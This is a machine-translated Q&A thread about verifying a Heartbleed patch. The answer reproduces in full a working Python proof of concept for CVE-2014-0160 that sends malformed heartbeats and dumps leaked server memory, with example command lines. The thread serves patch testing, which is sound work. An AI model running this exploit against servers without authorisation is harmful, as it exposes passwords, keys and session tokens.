Heartbleed“意外消息”

Jov*_*vic 6 openssl heartbleed

我有一个任务来验证我们公司的软件补丁来解决Heartbleed攻击。

现在,我确定我尝试利用的软件版本使用1.0.1eOpenSSL 库,它应该是易受攻击的。但是,我尝试了多个 Heartbleed 测试工具,他们都说响应中存在错误,并且我的应用程序可能不存在漏洞。

在测试过程中,CardiacArrest工具返回:

[INFO] Connecting to 10.63.62.79:443 using TLSv1.2
[INFO] Sending ClientHello
[INFO] ServerHello received
[INFO] Sending Heartbeat
[INFO] The server received an alert. It is likely not vulnerable.
[INFO] Alert Level: fatal
[INFO] Alert Description: Unexpected message (see RFC 5246 section 7.2)
[INFO] Closing connection
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在咨询RFC 5264 后,我发现了有关“意外消息”的更多信息:

意外
消息 收到不适当的消息。此警报始终是致命的,不应在正确实现之间的通信中观察到。

问题:

  • 有人可以对这个结果有更多的了解吗?
  • 可以OpenSSL在没有Heartbeat扩展的情况下编译吗?
  • 有没有办法列出编译成的扩展OpenSSL

非常感谢!

Cam*_*err 1

首先,Heartbleed 已被证明能够扫描进程内存(一次 64kB),因此非常严重。即使没有这些,可见的数据也很容易暴露密码、会话令牌和许多其他内容(特别是对于我一直在研究的 PHP 应用程序)。

请记住,Hearbleed 会影响 TLS 1.1 和 1.2,因此如果您正在测试,则需要指定这一点。(我不确定限制 SSL 版本是否是一种有用的缓解措施;最好修补和替换)

在这种情况下,未知消息很可能意味着您请求的选项在对等方上不合适(或不支持)。如果您不指定 TLS 1.2,您可能会收到此消息。

我使用了 Jared Stafford 创建的一个 Python 小工具。使用它来运行它watch以查看您可以看到什么是有启发性的。它没有在他的网站上列出,所以我将其包含在下面。你会想要使用类似的东西来运行它./heartbleed --port 443 --ver 2 SERVER_IP

我发现运行如下更有用:

 ./heartbleed.py somewebserver.example.com -v2 | fgrep -v '................'
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或者:

./heartbleed.py somewebserver.example.com --port 443 -v 2 | grep 'server is vulnerable'
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我没有任何未打补丁的服务器来演示这一点,但如果容易受到攻击,您将获得找到的材料的十六进制/ASCII 转储,这可能会很有趣。您还会收到一条server is vulnerable消息。

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
#
# -shirk added TLS version
# -jpicht added SMTP STARTTLS hack

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-s', '--smtp-starttls', action="store_true", dest="smtpstarttls", help='Issue SMTP STARTTLS command and wait for data')
options.add_option('-v', '--ver', type='int', default=1, help='TLS version 1 is 1.0, 2 is 1.1, 3 is 1.2 (default: 1)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hbv10 = h2bin('''
18 03 01 00 03
01 40 00
''')

hbv11 = h2bin('''
18 03 02 00 03
01 40 00
''')

hbv12 = h2bin('''
18 03 03 00 03
01 40 00
''')


def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata


def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    #s.send()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))

    if opts.smtpstarttls:
        print 'Sending STARTTLS...'
        sys.stdout.flush()
        s.send("STARTTLS\n")
        print 'Waiting for reply...'
        sys.stdout.flush()
        recvall(s, 100000, 1)

    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    if (opts.ver == 1):
        s.send(hbv10)
        hit_hb(s)
    if (opts.ver == 2):
        s.send(hbv11)
        hit_hb(s)
    if (opts.ver == 3):
        s.send(hbv12)
        hit_hb(s)


if __name__ == '__main__':
    main()
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